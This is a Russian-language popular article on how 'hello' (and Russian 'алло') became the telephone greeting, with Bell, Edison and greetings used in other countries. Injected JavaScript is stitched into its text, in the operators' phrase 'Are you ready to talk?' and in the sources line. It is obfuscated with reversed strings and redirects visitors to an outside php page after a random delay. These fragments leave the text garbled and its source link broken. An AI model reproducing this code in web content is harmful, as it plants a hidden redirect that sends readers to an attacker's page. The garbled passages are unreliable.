Алло – Алло

Знаете ли вы, что поднимая трубку, мы произносим «алло» —  слово, введенное в обиход Эдисоном? В 1876 году на Филадельфийской всемирной выставке американский ученый Александр Белл продемонстрировал аппарат, названный позже телефоном. Успех изобретения был огромным, несмотря даже на то, что телефон искажал звук и расслышать что-либо можно было только на расстоянии до 250 м. Белл предпочитал в качестве приветствия использовать морской окрик «Ahoy!», что-то вроде «Эй, на палубе!», используемое при встрече кораблей. Однако его знаменитый коллега Томас Эдисон предложил альтернативный вариант. 15 августа 1877 года в  письме президенту телеграфной компании Питтсбурга Эдисон доказывает, что лучшим словом для приветствия по телефону является «hello», ведь его слышно «за десять, а то и за двадцать футов».

Александр Белл. Источник: https://www.art.com
Работая над усовершенствованием проекта Белла в лаборатории Менлоу-Парк, Эдисон все время кричал «hello!» в трубку, и эту его привычку переняли коллеги, а потом и телефонные операторы. До этого телефонистки пользовались фразами «Are you there?», «Who are you?», «Are you ready tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to talk?» («Вы слушаете?», «Вы кто?»,  “Вы готовы говорить?”). Со временем слово «hello» стало стандартом, а барышень-операторов так и прозвали — «hello girls».
Вариант «hullo» тогда использовали только для выражения удивления. Было еще в лексиконе Эдисона словечко «halloo» – “ату!” или «эй!». Именно его Эдисон записал, прокричав в ленточный фонограф, когда впервые открыл, как записывать звук 18 июля 1877 года. Но как приветствие при разговоре по гаджету прижилось «hello», которое в русском языке трансформировалось в «алло».
Конечно, наряду с «алло», в наше время можно услышать и другие варианты. В Италии отвечают “пронто!” — «готов!», в Испании “дига”/”дигаме” – “говори”/”говорите”, в Японии — «моси-моси» -“говорю-говорю”,  в Черногории – «молим!», что переводится как «прошу». В Мексике отвечают «буэно!», слово это означает  «хорошо», а привычка его использовать пошла со времен постоянных перебоев со связью. В Турции говорят «эфендим!» – «господин», в качестве вежливого обращения, а в Израиле — «шалом!» – «мир!».

Источники: Стивен Фрай «Книга всеобщих заблуждений”; $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to-allo-mozhno-uslyshat-varianty-pokruche-1514115/?utm-source=adme_web&utm-medium=article&utm-campaign=twitter_share” target=”_blank” rel=”noopener”>adme.ru.

А знаете ли вы, что в 1880-х годах изобретатель Томас Эдисон вовсю пользовался технологиями «черного пиара».
Происхождение словСлайдерСШАТелефонТехнологии